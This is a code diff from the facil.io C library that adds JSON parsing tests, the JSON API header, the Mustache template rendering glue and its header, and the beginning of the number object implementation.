+#define TEST_ASSERT(cond, ...)                                                 \
+  if (!(cond)) {                                                               \
+    fprintf(stderr, "* " __VA_ARGS__);                                         \
+    fprintf(stderr, "\n !!! Testing failed !!!\n");                            \
+    exit(-1);                                                                  \
+  }
+  char json_str[] = "{\"array\":[1,2,3,\"boom\"],\"my\":{\"secret\":42},"
+                    "\"true\":true,\"false\":false,\"null\":null,\"float\":-2."
+                    "2,\"string\":\"I \\\"wrote\\\" this.\"}";
+  char json_str_update[] = "{\"array\":[1,2,3]}";
+  char json_str2[] =
+      "[\n    \"JSON Test Pattern pass1\",\n    {\"object with 1 "
+      "member\":[\"array with 1 element\"]},\n    {},\n    [],\n    -42,\n    "
+      "true,\n    false,\n    null,\n    {\n        \"integer\": 1234567890,\n "
+      "       \"real\": -9876.543210,\n        \"e\": 0.123456789e-12,\n       "
+      " \"E\": 1.234567890E+34,\n        \"\":  23456789012E66,\n        "
+      "\"zero\": 0,\n        \"one\": 1,\n        \"space\": \" \",\n        "
+      "\"quote\": \"\\\"\",\n        \"backslash\": \"\\\\\",\n        "
+      "\"controls\": \"\\b\\f\\n\\r\\t\",\n        \"slash\": \"/ & \\/\",\n   "
+      "     \"alpha\": \"abcdefghijklmnopqrstuvwyz\",\n        \"ALPHA\": "
+      "\"ABCDEFGHIJKLMNOPQRSTUVWYZ\",\n        \"digit\": \"0123456789\",\n    "
+      "    \"0123456789\": \"digit\",\n        \"special\": "
+      "\"`1~!@#$%^&*()_+-={':[,]}|;.</>?\",\n        \"hex\": "
+      "\"\\u0123\\u4567\\u89AB\\uCDEF\\uabcd\\uef4A\",\n        \"true\": "
+      "true,\n        \"false\": false,\n        \"null\": null,\n        "
+      "\"array\":[  ],\n        \"object\":{  },\n        \"address\": \"50 "
+      "St. James Street\",\n        \"url\": \"http://www.JSON.org/\",\n       "
+      " \"comment\": \"// /* <!-- --\",\n        \"# -- --> */\": \" \",\n     "
+      "   \" s p a c e d \" :[1,2 , 3\n\n,\n\n4 , 5        ,          6        "
+      "   ,7        ],\"compact\":[1,2,3,4,5,6,7],\n        \"jsontext\": "
+      "\"{\\\"object with 1 member\\\":[\\\"array with 1 element\\\"]}\",\n    "
+      "    \"quotes\": \"&#34; \\u0022 %22 0x22 034 &#x22;\",\n        "
+      "\"\\/"
+      "\\\\\\\"\\uCAFE\\uBABE\\uAB98\\uFCDE\\ubcda\\uef4A\\b\\f\\n\\r\\t`1~!@#$"
+      "%^&*()_+-=[]{}|;:',./<>?\"\n: \"A key can be any string\"\n    },\n    "
+      "0.5 "
+      ",98.6\n,\n99.44\n,\n\n1066,\n1e1,\n0.1e1,\n1e-1,\n1e00,2e+00,2e-00\n,"
+      "\"rosebud\"]";
+
+  FIOBJ o = 0;
+  TEST_ASSERT(fiobj_json2obj(&o, "1", 2) == 1,
+              "JSON number parsing failed to run!\n");
+  TEST_ASSERT(o, "JSON (single) object missing!\n");
+  TEST_ASSERT(FIOBJ_TYPE_IS(o, FIOBJ_T_NUMBER),
+              "JSON (single) not a number!\n");
+  TEST_ASSERT(fiobj_obj2num(o) == 1, "JSON (single) not == 1!\n");
+  fiobj_free(o);
+
+  TEST_ASSERT(fiobj_json2obj(&o, "2.0", 5) == 3,
+              "JSON float parsing failed to run!\n");
+  TEST_ASSERT(o, "JSON (float) object missing!\n");
+  TEST_ASSERT(FIOBJ_TYPE_IS(o, FIOBJ_T_FLOAT), "JSON (float) not a float!\n");
+  TEST_ASSERT(fiobj_obj2float(o) == 2, "JSON (float) not == 2!\n");
+  fiobj_free(o);
+
+  TEST_ASSERT(fiobj_json2obj(&o, json_str, sizeof(json_str)) ==
+                  (sizeof(json_str) - 1),
+              "JSON parsing failed to run!\n");
+  TEST_ASSERT(o, "JSON object missing!\n");
+  TEST_ASSERT(FIOBJ_TYPE_IS(o, FIOBJ_T_HASH),
+              "JSON root not a dictionary (not a hash)!\n");
+  FIOBJ tmp = fiobj_hash_get2(o, fiobj_hash_string("array", 5));
+  TEST_ASSERT(FIOBJ_TYPE_IS(tmp, FIOBJ_T_ARRAY),
+              "JSON 'array' not an Array!\n");
+  TEST_ASSERT(fiobj_obj2num(fiobj_ary_index(tmp, 0)) == 1,
+              "JSON 'array' index 0 error!\n");
+  TEST_ASSERT(fiobj_obj2num(fiobj_ary_index(tmp, 1)) == 2,
+              "JSON 'array' index 1 error!\n");
+  TEST_ASSERT(fiobj_obj2num(fiobj_ary_index(tmp, 2)) == 3,
+              "JSON 'array' index 2 error!\n");
+  TEST_ASSERT(FIOBJ_TYPE_IS(fiobj_ary_index(tmp, 3), FIOBJ_T_STRING),
+              "JSON 'array' index 3 type error!\n");
+  TEST_ASSERT(!memcmp("boom", fiobj_obj2cstr(fiobj_ary_index(tmp, 3)).data, 4),
+              "JSON 'array' index 3 error!\n");
+  tmp = fiobj_hash_get2(o, fiobj_hash_string("my", 2));
+  TEST_ASSERT(FIOBJ_TYPE_IS(tmp, FIOBJ_T_HASH),
+              "JSON 'my:secret' not a Hash!\n");
+  TEST_ASSERT(
+      FIOBJ_TYPE_IS(fiobj_hash_get2(tmp, fiobj_hash_string("secret", 6)),
+                    FIOBJ_T_NUMBER),
+      "JSON 'my:secret' doesn't hold a number!\n");
+  TEST_ASSERT(
+      fiobj_obj2num(fiobj_hash_get2(tmp, fiobj_hash_string("secret", 6))) == 42,
+      "JSON 'my:secret' not 42!\n");
+  TEST_ASSERT(fiobj_hash_get2(o, fiobj_hash_string("true", 4)) == fiobj_true(),
+              "JSON 'true' not true!\n");
+  TEST_ASSERT(fiobj_hash_get2(o, fiobj_hash_string("false", 5)) ==
+                  fiobj_false(),
+              "JSON 'false' not false!\n");
+  TEST_ASSERT(fiobj_hash_get2(o, fiobj_hash_string("null", 4)) == fiobj_null(),
+              "JSON 'null' not null!\n");
+  tmp = fiobj_hash_get2(o, fiobj_hash_string("float", 5));
+  TEST_ASSERT(FIOBJ_TYPE_IS(tmp, FIOBJ_T_FLOAT), "JSON 'float' not a float!\n");
+  tmp = fiobj_hash_get2(o, fiobj_hash_string("string", 6));
+  TEST_ASSERT(FIOBJ_TYPE_IS(tmp, FIOBJ_T_STRING),
+              "JSON 'string' not a string!\n");
+  TEST_ASSERT(!strcmp(fiobj_obj2cstr(tmp).data, "I \"wrote\" this."),
+              "JSON 'string' incorrect!\n");
+  fprintf(stderr, "* passed.\n");
+  fprintf(stderr, "=== Testing JSON formatting (simple test)\n");
+  tmp = fiobj_obj2json(o, 0);
+  fprintf(stderr, "* data (%p):\n%.*s\n", (void *)fiobj_obj2cstr(tmp).data,
+          (int)fiobj_obj2cstr(tmp).len, fiobj_obj2cstr(tmp).data);
+  if (!strcmp(fiobj_obj2cstr(tmp).data, json_str))
+    fprintf(stderr, "* Stringify == Original.\n");
+  TEST_ASSERT(
+      fiobj_hash_update_json(o, json_str_update, strlen(json_str_update)),
+      "JSON update failed to parse data.");
+  fiobj_free(tmp);
+
+  tmp = fiobj_hash_get2(o, fiobj_hash_string("array", 5));
+  TEST_ASSERT(FIOBJ_TYPE_IS(tmp, FIOBJ_T_ARRAY),
+              "JSON updated 'array' not an Array!\n");
+  TEST_ASSERT(fiobj_ary_count(tmp) == 3, "JSON updated 'array' not updated?");
+  tmp = fiobj_hash_get2(o, fiobj_hash_string("float", 5));
+  TEST_ASSERT(FIOBJ_TYPE_IS(tmp, FIOBJ_T_FLOAT),
+              "JSON updated (old) 'float' missing!\n");
+  fiobj_free(o);
+  fprintf(stderr, "* passed.\n");
+
+  fprintf(stderr, "=== Testing JSON parsing (UTF-8 and special cases)\n");
+  fiobj_json2obj(&o, "[\"\\uD834\\uDD1E\"]", 16);
+  TEST_ASSERT(o, "JSON G clef String failed to parse!\n");
+  TEST_ASSERT(FIOBJ_TYPE_IS(o, FIOBJ_T_ARRAY),
+              "JSON G clef container has an incorrect type! (%s)\n",
+              fiobj_type_name(o));
+  tmp = o;
+  o = fiobj_ary_pop(o);
+  fiobj_free(tmp);
+  TEST_ASSERT(FIOBJ_TYPE_IS(o, FIOBJ_T_STRING),
+              "JSON G clef String incorrect type! %p => %s\n", (void *)o,
+              fiobj_type_name(o));
+  TEST_ASSERT((!strcmp(fiobj_obj2cstr(o).data, "\xF0\x9D\x84\x9E")),
+              "JSON G clef String incorrect %s !\n", fiobj_obj2cstr(o).data);
+  fiobj_free(o);
+
+  fiobj_json2obj(&o, "\"\\uD834\\uDD1E\"", 14);
+  TEST_ASSERT(FIOBJ_TYPE_IS(o, FIOBJ_T_STRING),
+              "JSON direct G clef String incorrect type! %p => %s\n", (void *)o,
+              fiobj_type_name(o));
+  TEST_ASSERT((!strcmp(fiobj_obj2cstr(o).data, "\xF0\x9D\x84\x9E")),
+              "JSON direct G clef String incorrect %s !\n",
+              fiobj_obj2cstr(o).data);
+  fiobj_free(o);
+  fiobj_json2obj(&o, "\"Hello\\u0000World\"", 19);
+  TEST_ASSERT(FIOBJ_TYPE_IS(o, FIOBJ_T_STRING),
+              "JSON NUL containing String incorrect type! %p => %s\n",
+              (void *)o, fiobj_type_name(o));
+  TEST_ASSERT(
+      (!memcmp(fiobj_obj2cstr(o).data, "Hello\0World", fiobj_obj2cstr(o).len)),
+      "JSON NUL containing String incorrect! (%u): %s . %s\n",
+      (int)fiobj_obj2cstr(o).len, fiobj_obj2cstr(o).data,
+      fiobj_obj2cstr(o).data + 3);
+  fiobj_free(o);
+  size_t consumed = fiobj_json2obj(&o, json_str2, sizeof(json_str2));
+  TEST_ASSERT(
+      consumed == (sizeof(json_str2) - 1),
+      "JSON messy string failed to parse (consumed %lu instead of %lu\n",
+      (unsigned long)consumed, (unsigned long)(sizeof(json_str2) - 1));
+  TEST_ASSERT(FIOBJ_TYPE_IS(o, FIOBJ_T_ARRAY),
+              "JSON messy string object error\n");
+  tmp = fiobj_obj2json(o, 1);
+  TEST_ASSERT(FIOBJ_TYPE_IS(tmp, FIOBJ_T_STRING),
+              "JSON messy string isn't a string\n");
+  fprintf(stderr, "Messy JSON:\n%s\n", fiobj_obj2cstr(tmp).data);
+  fiobj_free(o);
+  fiobj_free(tmp);
+  fprintf(stderr, "* passed.\n");
+}
+
+#endif

facil.io/lib/facil/fiobj/fiobj_json.h

@@ -0,0 +1,68 @@
+#ifndef H_FIOBJ_JSON_H
+#define H_FIOBJ_JSON_H
+
+/*
+Copyright: Boaz Segev, 2017-2019
+License: MIT
+*/
+
+#include <fiobj_ary.h>
+#include <fiobj_hash.h>
+#include <fiobj_numbers.h>
+#include <fiobj_str.h>
+#include <fiobject.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/* *****************************************************************************
+JSON API
+***************************************************************************** */
+
+/** Limit JSON nesting, 32 is the limit to accomodate a 32 bit type. */
+#if !defined(JSON_MAX_DEPTH) || JSON_MAX_DEPTH > 32
+#undef JSON_MAX_DEPTH
+#define JSON_MAX_DEPTH 32
+#endif
+
+/**
+ * Parses JSON, setting `pobj` to point to the new Object.
+ *
+ * Returns the number of bytes consumed. On Error, 0 is returned and no data is
+ * consumed.
+ */
+size_t fiobj_json2obj(FIOBJ *pobj, const void *data, size_t len);
+/**
+ * Stringify an object into a JSON string. Remember to `fiobj_free`.
+ *
+ * Note that only the foloowing basic fiobj types are supported: Primitives
+ * (True / False / NULL), Numbers (Number / Float), Strings, Hashes and Arrays.
+ *
+ * Some objects (such as the POSIX specific IO type) are unsupported and may be
+ * formatted incorrectly.
+ */
+FIOBJ fiobj_obj2json(FIOBJ, uint8_t pretty);
+
+/**
+ * Formats an object into a JSON string, appending the JSON string to an
+ * existing String. Remember to `fiobj_free` as usual.
+ *
+ * Note that only the following basic fiobj types are supported: Primitives
+ * (True / False / NULL), Numbers (Number / Float), Strings, Hashes and
+ * Arrays.
+ *
+ * Some objects (such as the POSIX specific IO type) are unsupported and may be
+ * formatted incorrectly.
+ */
+FIOBJ fiobj_obj2json2(FIOBJ dest, FIOBJ object, uint8_t pretty);
+
+#if DEBUG
+void fiobj_test_json(void);
+#endif
+
+#ifdef __cplusplus
+} /* extern "C" */
+#endif
+
+#endif

facil.io/lib/facil/fiobj/fiobj_mustache.c

@@ -0,0 +1,308 @@
+/*
+Copyright: Boaz Segev, 2018-2019
+License: MIT
+*/
+#define INCLUDE_MUSTACHE_IMPLEMENTATION 1
+#include <mustache_parser.h>
+
+#include <fiobj_ary.h>
+#include <fiobj_hash.h>
+#include <fiobj_mustache.h>
+#include <fiobj_str.h>
+
+#ifndef FIO_IGNORE_MACRO
+/**
+ * This is used internally to ignore macros that shadow functions (avoiding
+ * named arguments when required).
+ */
+#define FIO_IGNORE_MACRO
+#endif
+
+/**
+ * Loads a mustache template, converting it into an opaque instruction array.
+ *
+ * Returns a pointer to the instruction array.
+ *
+ * The `folder` argument should contain the template's root folder which would
+ * also be used to search for any required partial templates.
+ *
+ * The `filename` argument should contain the template's file name.
+ */
+mustache_s *fiobj_mustache_load(fio_str_info_s filename) {
+  return mustache_load(.filename = filename.data, .filename_len = filename.len);
+}
+
+/**
+ * Loads a mustache template, converting it into an opaque instruction array.
+ *
+ * Returns a pointer to the instruction array.
+ *
+ * The `folder` argument should contain the template's root folder which would
+ * also be used to search for any required partial templates.
+ *
+ * The `filename` argument should contain the template's file name.
+ */
+mustache_s *fiobj_mustache_new FIO_IGNORE_MACRO(mustache_load_args_s args) {
+  return mustache_load FIO_IGNORE_MACRO(args);
+}
+
+/** Free the mustache template */
+void fiobj_mustache_free(mustache_s *mustache) { mustache_free(mustache); }
+
+/**
+ * Renders a template into an existing FIOBJ String (`dest`'s end), using the
+ * information in the `data` object.
+ *
+ * Returns FIOBJ_INVALID if an error occured and a FIOBJ String on success.
+ */
+FIOBJ fiobj_mustache_build2(FIOBJ dest, mustache_s *mustache, FIOBJ data) {
+  mustache_build(mustache, .udata1 = (void *)dest, .udata2 = (void *)data);
+  return dest;
+}
+
+/**
+ * Creates a FIOBJ String containing the rendered template using the information
+ * in the `data` object.
+ *
+ * Returns FIOBJ_INVALID if an error occured and a FIOBJ String on success.
+ */
+FIOBJ fiobj_mustache_build(mustache_s *mustache, FIOBJ data) {
+  if (!mustache)
+    return FIOBJ_INVALID;
+  return fiobj_mustache_build2(fiobj_str_buf(mustache->u.read_only.data_length),
+                               mustache, data);
+}
+
+/* *****************************************************************************
+Mustache Callbacks
+***************************************************************************** */
+
+static inline FIOBJ fiobj_mustache_find_obj_absolute(FIOBJ parent, FIOBJ key) {
+  if (!FIOBJ_TYPE_IS(parent, FIOBJ_T_HASH))
+    return FIOBJ_INVALID;
+  FIOBJ o = FIOBJ_INVALID;
+  o = fiobj_hash_get(parent, key);
+  return o;
+}
+
+static inline FIOBJ fiobj_mustache_find_obj_tree(mustache_section_s *section,
+                                                 const char *name,
+                                                 uint32_t name_len) {
+  FIOBJ key = fiobj_str_tmp();
+  fiobj_str_write(key, name, name_len);
+  do {
+    FIOBJ tmp = fiobj_mustache_find_obj_absolute((FIOBJ)section->udata2, key);
+    if (tmp != FIOBJ_INVALID) {
+      return tmp;
+    }
+  } while ((section = mustache_section_parent(section)));
+  return FIOBJ_INVALID;
+}
+
+static inline FIOBJ fiobj_mustache_find_obj(mustache_section_s *section,
+                                            const char *name,
+                                            uint32_t name_len) {
+  FIOBJ tmp = fiobj_mustache_find_obj_tree(section, name, name_len);
+  if (tmp != FIOBJ_INVALID)
+    return tmp;
+  /* interpolate sections... */
+  uint32_t dot = 0;
+  while (dot < name_len && name[dot] != '.')
+    ++dot;
+  if (dot == name_len)
+    return FIOBJ_INVALID;
+  tmp = fiobj_mustache_find_obj_tree(section, name, dot);
+  if (!tmp) {
+    return FIOBJ_INVALID;
+  }
+  ++dot;
+  for (;;) {
+    FIOBJ key = fiobj_str_tmp();
+    fiobj_str_write(key, name + dot, name_len - dot);
+    FIOBJ obj = fiobj_mustache_find_obj_absolute(tmp, key);
+    if (obj != FIOBJ_INVALID)
+      return obj;
+    name += dot;
+    name_len -= dot;
+    dot = 0;
+    while (dot < name_len && name[dot] != '.')
+      ++dot;
+    if (dot == name_len) {
+      return FIOBJ_INVALID;
+    }
+    key = fiobj_str_tmp();
+    fiobj_str_write(key, name, dot);
+    tmp = fiobj_mustache_find_obj_absolute(tmp, key);
+    if (tmp == FIOBJ_INVALID)
+      return FIOBJ_INVALID;
+    ++dot;
+  }
+}
+
+/**
+ * Called when an argument name was detected in the current section.
+ *
+ * A conforming implementation will search for the named argument both in the
+ * existing section and all of it's parents (walking backwards towards the root)
+ * until a value is detected.
+ *
+ * A missing value should be treated the same as an empty string.
+ *
+ * A conforming implementation will output the named argument's value (either
+ * HTML escaped or not, depending on the `escape` flag) as a string.
+ */
+static int mustache_on_arg(mustache_section_s *section, const char *name,
+                           uint32_t name_len, unsigned char escape) {
+  FIOBJ o = fiobj_mustache_find_obj(section, name, name_len);
+  if (!o)
+    return 0;
+  fio_str_info_s i = fiobj_obj2cstr(o);
+  if (!i.len)
+    return 0;
+  return mustache_write_text(section, i.data, i.len, escape);
+}
+
+/**
+ * Called when simple template text (string) is detected.
+ *
+ * A conforming implementation will output data as a string (no escaping).
+ */
+static int mustache_on_text(mustache_section_s *section, const char *data,
+                            uint32_t data_len) {
+  FIOBJ dest = (FIOBJ)section->udata1;
+  fiobj_str_write(dest, data, data_len);
+  return 0;
+}
+
+/**
+ * Called for nested sections, must return the number of objects in the new
+ * subsection (depending on the argument's name).
+ *
+ * Arrays should return the number of objects in the array.
+ *
+ * `true` values should return 1.
+ *
+ * `false` values should return 0.
+ *
+ * A return value of -1 will stop processing with an error.
+ *
+ * Please note, this will handle both normal and inverted sections.
+ */
+static int32_t mustache_on_section_test(mustache_section_s *section,
+                                        const char *name, uint32_t name_len,
+                                        uint8_t callable) {
+  FIOBJ o = fiobj_mustache_find_obj(section, name, name_len);
+  if (!o || FIOBJ_TYPE_IS(o, FIOBJ_T_FALSE))
+    return 0;
+  if (FIOBJ_TYPE_IS(o, FIOBJ_T_ARRAY))
+    return fiobj_ary_count(o);
+  return 1;
+  (void)callable; /* FIOBJ doesn't support lambdas */
+}
+
+/**
+ * Called when entering a nested section.
+ *
+ * `index` is a zero based index indicating the number of repetitions that
+ * occurred so far (same as the array index for arrays).
+ *
+ * A return value of -1 will stop processing with an error.
+ *
+ * Note: this is a good time to update the subsection's `udata` with the value
+ * of the array index. The `udata` will always contain the value or the parent's
+ * `udata`.
+ */
+static int mustache_on_section_start(mustache_section_s *section,
+                                     char const *name, uint32_t name_len,
+                                     uint32_t index) {
+  FIOBJ o = fiobj_mustache_find_obj(section, name, name_len);
+  if (!o)
+    return -1;
+  if (FIOBJ_TYPE_IS(o, FIOBJ_T_ARRAY))
+    section->udata2 = (void *)fiobj_ary_index(o, index);
+  else
+    section->udata2 = (void *)o;
+  return 0;
+}
+
+/**
+ * Called for cleanup in case of error.
+ */
+static void mustache_on_formatting_error(void *udata1, void *udata2) {
+  (void)udata1;
+  (void)udata2;
+}
+
+/* *****************************************************************************
+Testing
+***************************************************************************** */
+
+#if DEBUG
+static inline void mustache_save2file(char const *filename, char const *data,
+                                      size_t length) {
+  int fd = open(filename, O_CREAT | O_RDWR, 0);
+  if (fd == -1) {
+    perror("Couldn't open / create file for template testing");
+    exit(-1);
+  }
+  fchmod(fd, 0777);
+  if (pwrite(fd, data, length, 0) != (ssize_t)length) {
+    perror("Mustache template write error");
+    exit(-1);
+  }
+  close(fd);
+}
+
+void fiobj_mustache_test(void) {
+#define TEST_ASSERT(cond, ...)                                                 \
+  if (!(cond)) {                                                               \
+    fprintf(stderr, "* " __VA_ARGS__);                                         \
+    fprintf(stderr, "\n !!! Testing failed !!!\n");                            \
+    exit(-1);                                                                  \
+  }
+
+  char const *template =
+      "{{=<< >>=}}* Users:\r\n<<#users>><<id>>. <<& name>> "
+      "(<<name>>)\r\n<</users>>\r\nNested: <<& nested.item >>.";
+  char const *template_name = "mustache_test_template.mustache";
+  mustache_save2file(template_name, template, strlen(template));
+  mustache_s *m =
+      fiobj_mustache_load((fio_str_info_s){.data = (char *)template_name});
+  unlink(template_name);
+  TEST_ASSERT(m, "fiobj_mustache_load failed.\n");
+  FIOBJ data = fiobj_hash_new();
+  FIOBJ key = fiobj_str_new("users", 5);
+  FIOBJ ary = fiobj_ary_new2(4);
+  fiobj_hash_set(data, key, ary);
+  fiobj_free(key);
+  for (int i = 0; i < 4; ++i) {
+    FIOBJ id = fiobj_str_buf(4);
+    fiobj_str_write_i(id, i);
+    FIOBJ name = fiobj_str_buf(4);
+    fiobj_str_write(name, "User ", 5);
+    fiobj_str_write_i(name, i);
+    FIOBJ usr = fiobj_hash_new2(2);
+    key = fiobj_str_new("id", 2);
+    fiobj_hash_set(usr, key, id);
+    fiobj_free(key);
+    key = fiobj_str_new("name", 4);
+    fiobj_hash_set(usr, key, name);
+    fiobj_free(key);
+    fiobj_ary_push(ary, usr);
+  }
+  key = fiobj_str_new("nested", 6);
+  ary = fiobj_hash_new2(2);
+  fiobj_hash_set(data, key, ary);
+  fiobj_free(key);
+  key = fiobj_str_new("item", 4);
+  fiobj_hash_set(ary, key, fiobj_str_new("dot notation success", 20));
+  fiobj_free(key);
+  key = fiobj_mustache_build(m, data);
+  fiobj_free(data);
+  TEST_ASSERT(key, "fiobj_mustache_build failed!\n");
+  fprintf(stderr, "%s\n", fiobj_obj2cstr(key).data);
+  fiobj_free(key);
+  fiobj_mustache_free(m);
+}
+
+#endif

facil.io/lib/facil/fiobj/fiobj_mustache.h

@@ -0,0 +1,62 @@
+/*
+Copyright: Boaz Segev, 2018-2019
+License: MIT
+*/
+#ifndef H_FIOBJ_MUSTACHE_H
+#define H_FIOBJ_MUSTACHE_H
+
+#include <fiobject.h>
+
+#include <mustache_parser.h>
+
+/**
+ * Loads a mustache template, converting it into an opaque instruction array.
+ *
+ * Returns a pointer to the instruction array or NULL (on error).
+ *
+ * The `filename` argument should contain the template's file name.
+ */
+mustache_s *fiobj_mustache_load(fio_str_info_s filename);
+
+/**
+ * Loads a mustache template, either from memory of a file, converting it into
+ * an opaque instruction array.
+ *
+ * Returns a pointer to the instruction array or NULL (on error).
+ *
+ * Accepts any of the following named arguments:
+ *   * `char const *filename`  - The root template's file name.
+ *   * `size_t filename_len`  - The file name's length.
+ *   * `char const *data`  - If set, will be used as the file's contents.
+ *   * `size_t data_len`  - If set, `data` will be used as the file's contents.
+ *   * `mustache_error_en *err`  - A container for any template load errors (see
+ * mustache_parser.h).
+ */
+mustache_s *fiobj_mustache_new(mustache_load_args_s args);
+#define fiobj_mustache_new(...)                                                \
+  fiobj_mustache_new((mustache_load_args_s){__VA_ARGS__})
+
+/** Free the mustache template */
+void fiobj_mustache_free(mustache_s *mustache);
+
+/**
+ * Creates a FIOBJ String containing the rendered template using the information
+ * in the `data` object.
+ *
+ * Returns FIOBJ_INVALID if an error occurred and a FIOBJ String on success.
+ */
+FIOBJ fiobj_mustache_build(mustache_s *mustache, FIOBJ data);
+
+/**
+ * Renders a template into an existing FIOBJ String (`dest`'s end), using the
+ * information in the `data` object.
+ *
+ * Returns FIOBJ_INVALID if an error occurred and a FIOBJ String on success.
+ */
+FIOBJ fiobj_mustache_build2(FIOBJ dest, mustache_s *mustache, FIOBJ data);
+
+#if DEBUG
+void fiobj_mustache_test(void);
+#endif
+
+#endif /* H_FIOBJ_MUSTACHE_H */

facil.io/lib/facil/fiobj/fiobj_numbers.c

@@ -0,0 +1,266 @@
+/*
+Copyright: Boaz Segev, 2017-2019
+License: MIT
+*/
+
+#include <fiobj_numbers.h>
+#include <fiobject.h>
+
+#include <fio.h>
+
+#include <assert.h>
+#include <errno.h>
+#include <math.h>
+
+/* *****************************************************************************
+Numbers Type
+***************************************************************************** */
+
+typedef struct {
+  fiobj_object_header_s head;
+  intptr_t i;
+} fiobj_num_s;
+
+typedef struct {
+  fiobj_object_header_s head;
+  double f;
+} fiobj_float_s;
+
+#define obj2num(o) ((fiobj_num_s *)FIOBJ2PTR(o))
+#define obj2float(o) ((fiobj_float_s *)FIOBJ2PTR(o))
+
+/* *****************************************************************************
+Numbers VTable
+***************************************************************************** */
+
+static __thread char num_buffer[512];
+
+static intptr_t fio_i2i(const FIOBJ o) { return obj2num(o)->i; }
+static intptr_t fio_f2i(const FIOBJ o) {
+  return (intptr_t)floorl(obj2float(o)->f);
+}
+static double fio_i2f(const FIOBJ o) { return (double)obj2num(o)->i; }
+static double fio_f2f(const FIOBJ o) { return obj2float(o)->f; }
+
+static size_t fio_itrue(const FIOBJ o) { return (obj2num(o)->i != 0); }
+static size_t fio_ftrue(const FIOBJ o) { return (obj2float(o)->f != 0); }
+
+static fio_str_info_s fio_i2str(const FIOBJ o) {
+  return (fio_str_info_s){
+      .data = num_buffer,
+      .len = fio_ltoa(num_buffer, obj2num(o)->i, 10),
+  };
+}
+static fio_str_info_s fio_f2str(const FIOBJ o) {
+  if (isnan(obj2float(o)->f))
+    return (fio_str_info_s){.data = (char *)"NaN", .len = 3};
+  else if (isinf(obj2float(o)->f)) {
+    if (obj2float(o)->f > 0)
+      return (fio_str_info_s){.data = (char *)"Infinity", .len = 8};
+    else
+      return (fio_str_info_s){.data = (char *)"-Infinity", .len = 9};
+  }
+  return (fio_str_info_s){
+      .data = num_buffer,
+      .len = fio_ftoa(num_buffer, obj2float(o)->f, 10),
+  };
+}
+
+static size_t fiobj_i_is_eq(const FIOBJ self, const FIOBJ other) {
+  return obj2num(self)->i == obj2num(other)->i;
+}
+static size_t fiobj_f_is_eq(const FIOBJ self, const FIOBJ other) {
+  return obj2float(self)->f == obj2float(other)->f;
+}
+
+void fiobject___simple_dealloc(FIOBJ o, void (*task)(FIOBJ, void *), void *arg);
+uintptr_t fiobject___noop_count(FIOBJ o);
+
+const fiobj_object_vtable_s FIOBJECT_VTABLE_NUMBER = {
+    .class_name = "Number",
+    .to_i = fio_i2i,
+    .to_f = fio_i2f,
+    .to_str = fio_i2str,
+    .is_true = fio_itrue,
+    .is_eq = fiobj_i_is_eq,
+    .count = fiobject___noop_count,
+    .dealloc = fiobject___simple_dealloc,
+};
+
+const fiobj_object_vtable_s FIOBJECT_VTABLE_FLOAT = {
+    .class_name = "Float",
+    .to_i = fio_f2i,
+    .to_f = fio_f2f,
+    .is_true = fio_ftrue,
+    .to_str = fio_f2str,
+    .is_eq = fiobj_f_is_eq,
+    .count = fiobject___noop_count,
+    .dealloc = fiobject___simple_dealloc,
+};
+
+/* *****************************************************************************
+Number API
+***************************************************************************** */
+
+/** Creates a Number object. Remember to use `fiobj_free`. */
+FIOBJ fiobj_num_new_bignum(intptr_t num) {
+  fiobj_num_s *o = fio_malloc(sizeof(*o));
+  if (!o) {
+    perror("ERROR: fiobj number couldn't allocate memory");
+    exit(errno);
+  }
+  *o = (fiobj_num_s){
+      .head =
+          {
+              .type = FIOBJ_T_NUMBER,
+              .ref = 1,
+          },
+      .i = num,
+  };
+  return (FIOBJ)o;
+}
+
+/** Mutates a Big Number object's value. Effects every object's reference! */
+// void fiobj_num_set(FIOBJ target, intptr_t num) {
+//   assert(FIOBJ_TYPE_IS(target, FIOBJ_T_NUMBER) &&
+//   FIOBJ_IS_ALLOCATED(target)); obj2num(target)->i = num;
+// }
+
+/** Creates a temporary Number object. This ignores `fiobj_free`. */
+FIOBJ fiobj_num_tmp(intptr_t num) {
+  static __thread fiobj_num_s ret;
+  ret = (fiobj_num_s){
+      .head = {.type = FIOBJ_T_NUMBER, .ref = ((~(uint32_t)0) >> 4)},
+      .i = num,
+  };
+  return (FIOBJ)&ret;
+}
+
+/* *****************************************************************************
+Float API
+***************************************************************************** */
+
+/** Creates a Float object. Remember to use `fiobj_free`.  */
+FIOBJ fiobj_float_new(double num) {
+  fiobj_float_s *o = fio_malloc(sizeof(*o));
+  if (!o) {
+    perror("ERROR: fiobj float couldn't allocate memory");
+    exit(errno);
+  }
+  *o = (fiobj_float_s){
+      .head =
+          {
+              .type = FIOBJ_T_FLOAT,
+              .ref = 1,
+          },
+      .f = num,
+  };
+  return (FIOBJ)o;
+}
+
+/** Mutates a Float object's value. Effects every object's reference!  */
+void fiobj_float_set(FIOBJ obj, double num) {
+  assert(FIOBJ_TYPE_IS(obj, FIOBJ_T_FLOAT));
+  obj2float(obj)->f = num;
+}
+
+/** Creates a temporary Number object. This ignores `fiobj_free`. */
+FIOBJ fiobj_float_tmp(double num) {
+  static __thread fiobj_float_s ret;
+  ret = (fiobj_float_s){
+      .head =
+          {
+              .type = FIOBJ_T_FLOAT,
+              .ref = ((~(uint32_t)0) >> 4),
+          },
+      .f = num,
+  };
+  return (FIOBJ)&ret;
+}
+
+/* *****************************************************************************
+Numbers to Strings - Buffered
+***************************************************************************** */
+
+static __thread char num_buffer[512];
+
+fio_str_info_s fio_ltocstr(long i) {
+  return (fio_str_info_s){.data = num_buffer,
+                          .len = fio_ltoa(num_buffer, i, 10)};
+}
+fio_str_info_s fio_ftocstr(double f) {
+  return (fio_str_info_s){.data = num_buffer,
+                          .len = fio_ftoa(num_buffer, f, 10)};
+}
+
+/* *****************************************************************************
+Tests
+***************************************************************************** */
+
+#if DEBUG
+void fiobj_test_numbers(void) {
+#define NUMTEST_ASSERT(cond, ...)                                              \
+  if (!(cond)) {                                                               \
+    fprintf(stderr, __VA_ARGS__);                                              \
+    fprintf(stderr, "Testing failed.\n");                                      \
+    exit(-1);                                                                  \
+  }
+  FIOBJ i = fiobj_num_new(8);
+  fprintf(stderr, "=== Testing Numbers\n");
+  fprintf(stderr, "* FIOBJ_NUMBER_SIGN_MASK == %p\n",
+          (void *)FIOBJ_NUMBER_SIGN_MASK);
+  fprintf(stderr, "* FIOBJ_NUMBER_SIGN_BIT == %p\n",
+          (void *)FIOBJ_NUMBER_SIGN_BIT);
